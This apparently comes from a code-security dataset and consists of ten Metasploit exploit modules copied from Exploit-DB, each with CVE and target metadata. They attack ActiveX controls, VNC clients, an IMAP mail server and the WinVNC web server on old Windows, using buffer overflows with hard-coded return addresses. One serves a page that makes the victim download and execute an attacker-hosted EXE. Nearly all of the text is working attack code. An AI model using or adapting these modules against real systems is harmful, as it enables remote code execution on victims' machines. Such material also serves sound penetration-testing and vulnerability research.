QLWD/code_shield huggingface dataset:
标题: Symantec AppStream LaunchObj - ActiveX Control Arbitrary File Download and Execute (Metasploit) EDB-ID: 16512 CVE: 2008-4388 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: symantec_appstream_unsafe.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute',
   'Description'    => %q{
     This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability
    is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()"
    method. The insecure method can be exploited to download and execute arbitrary files in the
    context of the currently logged-on user.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 11127 $',
   'References'     =>
    [
     [ 'CVE', '2008-4388' ],
     [ 'OSVDB', '51410' ],
    ],
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DisclosureDate' => 'Jan 15 2009',
   'DefaultTarget'  => 0))

 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

  if (request.uri.match(/payload/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  vname  = rand_text_alpha(rand(100) + 1)
  exe    = rand_text_alpha(rand(5) + 1 )

  content = %Q|
  <html>
   <object id='#{vname}' classid='clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8'></object>
   <script language="javascript">
    #{vname}.installAppMgr("#{payload_url}/#{exe}.exe");
   </script>
  </html>
    |

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, content)

  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16512
标题: Logitech VideoCall - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16511 CVE: 2007-2918 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: logitechvideocall_start.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Logitech VideoCall ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Logitech VideoCall ActiveX
    Control (wcamxmp.dll 2.0.3470.448). By sending a overly long string to the
    "Start()" method, an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-2918' ],
     [ 'OSVDB', '36820'],
     [ 'BID', '24254' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP Pro SP2 English',     { 'Offset' => 120, 'Ret' => 0x7c941eed } ],
    ],
   'DisclosureDate' => 'May 31 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded

  # Build out the message
  content = %Q|
   <html>
   <object classid='clsid:BF4C7B03-F381-4544-9A33-CB6DAD2A87CD' id='#{vname}'></object>
   <script language='javascript'>
   var #{vname} = document.getElementById('#{vname}');
   var #{strname} = new String('#{sploit}');
   #{vname}.Start(#{vname}, #{vname}, #{strname});
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16511
标题: UltraVNC 1.0.1 - Client Buffer Overflow (Metasploit) EDB-ID: 16490 CVE: 2006-1652 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: ultravnc_client.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'UltraVNC 1.0.1 Client Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in UltraVNC Win32
    Viewer 1.0.1 Release.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2006-1652' ],
     [ 'OSVDB', '24456' ],
     [ 'BID', '17378' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00",
     'MaxNops'  => 0,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP4 English', { 'Ret' => 0x7c2ec68b } ],
     [ 'Windows XP SP2 English', { 'Ret' => 0x77dc15c0 } ],
     [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Apr 4 2006',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
   ], self.class)
 end

 def on_client_connect(client)

  rfb = "RFB 003.006\n"

  client.put(rfb)
 end

 def on_client_data(client)
  return if ((p = regenerate_payload(client)) == nil)

  filler = make_nops(980 - payload.encoded.length)

  sploit =  "\x00\x00\x00\x00\x00\x00\x04\x06" + "Requires Ultr@VNC Authentication\n"
  sploit << payload.encoded + filler + [target.ret].pack('V')
  sploit << "PASSWORD" + [0xe8, -997].pack('CV')

  print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
  client.put(sploit)

  handler
  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/16490
标题: EnjoySAP SAP GUI - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16498 CVE: 2007-3605 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: enjoysapgui_preparetoposthtml.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EnjoySAP SAP GUI ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in SAP KWEdit ActiveX
    Control (kwedit.dll 6400.1.1.41) provided by EnjoySAP GUI. By sending
    an overly long string to the "PrepareToPostHTML()" method, an attacker
    may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2007-3605' ],
     [ 'OSVDB', '37690' ],
     [ 'BID', '24772' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
     [ 'Windows 2000 Pro English All',   { 'Ret' => 0x75022ac4 } ],

    ],
   'DisclosureDate' => 'Jul 05 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Build the exploit buffer
  sploit =  rand_text_alpha(1036) + Rex::Arch::X86.jmp_short(6)
  sploit << make_nops(2) + [target.ret].pack('V') + p.encoded

  # Build out the message
  content = %Q|<html>
<object classid='clsid:2137278D-EF5C-11D3-96CE-0004AC965257' id='#{vname}' /></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.PrepareToPostHTML(#{strname})
</script>
</html>
|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16498
标题: Novell NetMail 3.52d - IMAP APPEND Buffer Overflow (Metasploit) EDB-ID: 16488 CVE: 2006-6425 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: novell_netmail_append.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Imap

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell NetMail <= 3.52d IMAP APPEND Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND
    verb. By sending an overly long string, an attacker can overwrite the
    buffer and control program execution.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2006-6425' ],
     [ 'OSVDB', '31362' ],
     [ 'BID', '21723' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-054.html' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 700,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 SP0-SP4 English',   { 'Ret' => 0x75022ac4 }],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 23 2006'))

 end

 def exploit
  sploit =  "a002 APPEND  " + "saved-messages (\Seen) "
  sploit << rand_text_english(1358) + payload.encoded + "\xeb\x06"
  sploit << rand_text_english(2) + [target.ret].pack('V')
  sploit << [0xe9, -585].pack('CV') + rand_text_english(150)

  info = connect_login

  if (info == true)
   print_status("Trying target #{target.name}...")
   sock.put(sploit + "\r\n")
  else
   print_status("Not falling through with exploit")
  end

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16488
标题: MailEnable IMAPD 1.54 - STATUS Request Buffer Overflow (Metasploit) EDB-ID: 16485 CVE: 2005-2278 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: mailenable_status.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Imap
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MailEnable IMAPD (1.54) STATUS Request Buffer Overflow',
   'Description'    => %q{
     MailEnable's IMAP server contains a buffer overflow
    vulnerability in the STATUS command. With proper
    credentials, this could allow for the execution of arbitrary
    code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2005-2278'],
     [ 'OSVDB', '17844'],
     [ 'BID', '14243'],
     [ 'NSS', '19193'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 450,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['MailEnable 1.54 Pro Universal',  { 'Rets' =>  [9273, 0x1001c019] }], #MEAISP.DLL
     ['Windows XP Pro SP0/SP1 English', { 'Rets' =>  [9273, 0x71aa32ad] }],
     ['Windows 2000 Pro English ALL',   { 'Rets' =>  [9273, 0x75022ac4] }],
     ['Windows 2003 Server English',    { 'Rets' =>  [9273, 0x7ffc0638] }],
    ],
   'DisclosureDate' => 'Jul 13 2005',
   'DefaultTarget' => 0))
 end

 def exploit
  connect_login

  seh = generate_seh_payload(target['Rets'][1])
  buf = rand_text_alphanumeric(target['Rets'][0])
  req = "a001 STATUS \".\x00" + buf + seh
  req << "\" (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)\r\n"
  sock.put(req)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16485
标题: WinVNC Web Server 3.3.3r7 - GET Overflow (Metasploit) EDB-ID: 16491 CVE: 2001-0168 类型: REMOTE 平台: WINDOWS 发布日期: 2009-12-06 漏洞利用脚本: ##
# $Id: winvnc_http_get.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


 class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'WinVNC Web Server <= v3.3.3r7 GET Overflow',
   'Description' => %q{
    This module exploits a buffer overflow in the AT&T WinVNC version
    <= v3.3.3r7 web server. When debugging mode with logging is
    enabled (non-default), an overly long GET request can overwrite
    the stack. This exploit does not work well with VNC payloads!
   },
   'Author'  => 'patrick',
   'License'       => MSF_LICENSE,
   'Version'       => '$Revision: 7724 $',
   'References'    =>
   [
    [ 'BID', '2306' ],
    [ 'OSVDB', '6280' ],
    [ 'CVE', '2001-0168' ],
   ],
   'Privileged'  => true,
   'DefaultOptions' =>
   {
    'EXITFUNC' => 'thread',
   },
   'Payload'  =>
    {
     'Space'   => 979,
     'BadChars'   => "\x00\x09\x0a\x0b\x0c\x0d\x20\x0b",
     'StackAdjustment'  => -3500,
    },
   'Platform' => ['win'],
   'Targets'  =>
   [
    [ 'Windows NT4 SP3-6',  { 'Ret' => 0x779f4e39 } ], # push esp, ret msvcrt.dll
    [ 'Windows 2000 SP1-4', { 'Ret' => 0x77bba3af } ], # jmp esp comctl32.dll
    [ 'Windows XP SP0-1',  { 'Ret' => 0x71ab7bfb } ], # jmp esp ws2_32.dll
   ],
   'DisclosureDate' => 'Jan 29 2001',
   'DefaultTarget' => 1))

   register_options(
   [
    Opt::RPORT(5800),
   ],self.class)
 end

 def exploit

  sploit = '/' + payload.encoded + [target['Ret']].pack('V')
  sploit << make_nops(8) + Rex::Arch::X86.jmp(0xfffffc1c)

  res = send_request_raw({
   'uri'          => sploit,
   'method'       => 'GET',
  }, 5)

  handler

 end

end URL: https://www.exploit-db.com/exploits/16491
标题: Ipswitch IMail Server - IMAP SEARCH Buffer Overflow (Metasploit) EDB-ID: 16487 CVE: 2007-3925 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: ipswitch_search.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Imap

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Ipswitch IMail IMAP SEARCH Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH
    verb. By sending an overly long string, an attacker can overwrite the
    buffer and control program execution.
    In order for this module to be successful, the IMAP user must have at least one
    message.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2007-3925' ],
     [ 'OSVDB', '36219' ],
     [ 'BID', '24962' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x0a\x0d\x20\x0b\x09\x0c",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro SP4 English',   { 'Ret' => 0x77f81be3 } ],
     [ 'Windows 2003 SP0 English',       { 'Ret' => 0x77c5cee8 } ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 18 2007'))
 end

 def exploit

  sploit =  "a002 SEARCH BEFORE " + "<" + rand_text_english(87)
  sploit << [target.ret].pack('V') + make_nops(20) + payload.encoded + ">"

  info = connect_login

  if (info == true)
   print_status("Trying target #{target.name}...")
   sock.put("a001 SELECT INBOX\r\n")
   sock.get_once(-1, 3)
   sock.put(sploit + "\r\n")
  else
   print_status("Not falling through with exploit")
  end

  handler
  disconnect

 end
end URL: https://www.exploit-db.com/exploits/16487
标题: RealVNC 3.3.7 - Client Buffer Overflow (Metasploit) EDB-ID: 16489 CVE: 2001-0167 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: realvnc_client.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RealVNC 3.3.7 Client Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe).
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2001-0167' ],
     [ 'OSVDB', '6281' ],
     [ 'BID', '2305' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'MaxNops'  => 0,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP4 English', { 'Ret' => 0x7c2ec68b } ],
     [ 'Windows XP SP2 English', { 'Ret' => 0x77dc15c0 } ],
     [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jan 29 2001',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
   ], self.class)
 end

 def on_client_connect(client)

  rfb = "RFB 003.003\n"

  client.put(rfb)
 end

 def on_client_data(client)
  return if ((p = regenerate_payload(client)) == nil)

  filler = make_nops(993 - payload.encoded.length)

  sploit =  "\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded
  sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV')
  sploit << rand_text_english(200)

  print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
  client.put(sploit)

  handler
  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/16489
标题: Mercury/32 Mail Server 4.01a - IMAP RENAME Buffer Overflow (Metasploit) EDB-ID: 16484 CVE: 2004-1211 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: mercury_rename.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Imap

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow vulnerability in the
    Mercury/32 v.4.01a IMAP service.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2004-1211'],
     [ 'OSVDB', '12508'],
     [ 'BID', '11775'],
     [ 'NSS', '15867'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 SP4 English',   { 'Ret' => 0x7846107b }],
     ['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],
     ['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],
    ],
   'DisclosureDate' => 'Nov 29 2004'))
 end

 def check
  connect
  resp = sock.get_once
  disconnect

  if (resp =~ /Mercury\/32 v4\.01a/)
   return Exploit::CheckCode::Vulnerable
  end
   return Exploit::CheckCode::Safe
 end

 def exploit
  connect_login

  sploit =  "a001 RENAME " + rand_text_alpha_upper(260)
  sploit << [target.ret].pack('V') + payload.encoded

  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16484